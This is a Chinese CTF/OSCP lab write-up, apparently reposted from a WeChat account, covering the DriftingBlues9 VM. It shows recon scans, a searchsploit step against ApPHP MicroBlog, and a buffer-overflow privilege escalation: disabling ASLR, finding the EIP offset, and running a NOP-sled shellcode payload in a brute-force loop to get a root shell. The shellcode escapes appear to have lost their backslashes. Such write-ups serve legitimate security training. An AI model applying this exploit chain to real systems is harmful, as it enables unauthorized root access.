OSCP 靶场
靶场介绍
driftingblues9 |
easy |
aPphp GETSHELL、searchsploit使用、凭据收集、gdb使用、 缓冲区溢出漏洞(难)、pattern_create.rb、pattern_offset.rb 使用 |
信息收集
主机发现
nmap -sn 192.168.1.0/24
端口扫描
└─# nmap -sV -A -p- -T4 192.168.1.196
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 22:10 EST
Nmap scan report for 192.168.1.196
Host is up (0.00083s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: ApPHP MicroBlog
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 45566/udp6 status
| 100024 1 48432/tcp status
| 100024 1 58435/tcp6 status
|_ 100024 1 58823/udp status
48432/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:DF:FD:9D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
目录扫描
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.196 -x php,txt,html -e
权限获取
searchsploit apphp
使用exp直接获取权限
反弹一个shell
权限提升
这里还有一个账号,我们需要提升到该用户获取flag
root 提权提示,这里需要利用缓冲区溢出漏洞进行提权
首先我们先下载靶机里面的input 文件
我必须先禁用 ASLR,然后在 gdb 中加载二进制文件。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gdb -q input
使用./pattern_create.rb 生成一个2000的字符串。可以看到在 0x41376641 处得到了分段错误。现在,我们需要用它来查找偏移量。
接着我们使用 patter_offset.rb 来查找我们可以覆盖 EIP 的字节数。执行后可以看到171字节后可以覆盖EIP。
我们在 171 处得到了精确匹配。现在,我们可以使用 python 命令简单地创建字符串。例如,输入包含具有 171 个 A、4 个 B 和 500 个 nop 的简单输入。
./input $(python2 -c 'print "A" * 171 + "B" * 4 + "x90" * 500')
我们可以使用 gdb 中的参数来进行测试。
之后,我检查了 esp 寄存器,并由于小端字节序而用相反顺序的地址替换了 4 个 B。之后,我在 nop sled 之后添加了 shell。我的最终输入如下:
# obtained address: 0xffffcd20
# added more nops
run $(python -c 'print "A" * 171 + "x20xcdxffxff" + "x90" * 2000 + "x31xc9xf7xe1x51xbfxd0xd0x8cx97xbexd0x9dx96x91xf7xd7xf7xd6x57x56x89xe3xb0x0bxcdx80"')
我也在目标机器上重复了相同的过程。但是,目标上的 ASLR 已启用,如果没有 root 权限,我们无法禁用它。因此,我们必须多次迭代相同的代码行。
在目标机器上:
gdb -q input
run $(python -c 'print "A"*171 + "B"*4 + "x90" * 2000')
我替换了之前有效负载中的地址并运行了 for 循环。
for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "xd0xd8xe5xbf" + "x90" * 2000 + "x31xc9xf7xe1x51xbfxd0xd0x8cx97xbexd0x9dx96x91xf7xd7xf7xd6x57x56x89xe3xb0x0bxcdx80"')); done
经过两次不同的尝试,我得到了 root shell 和 flag。
cd /root
cat root.txt
End “点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):【OSCP】driftingblues9
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论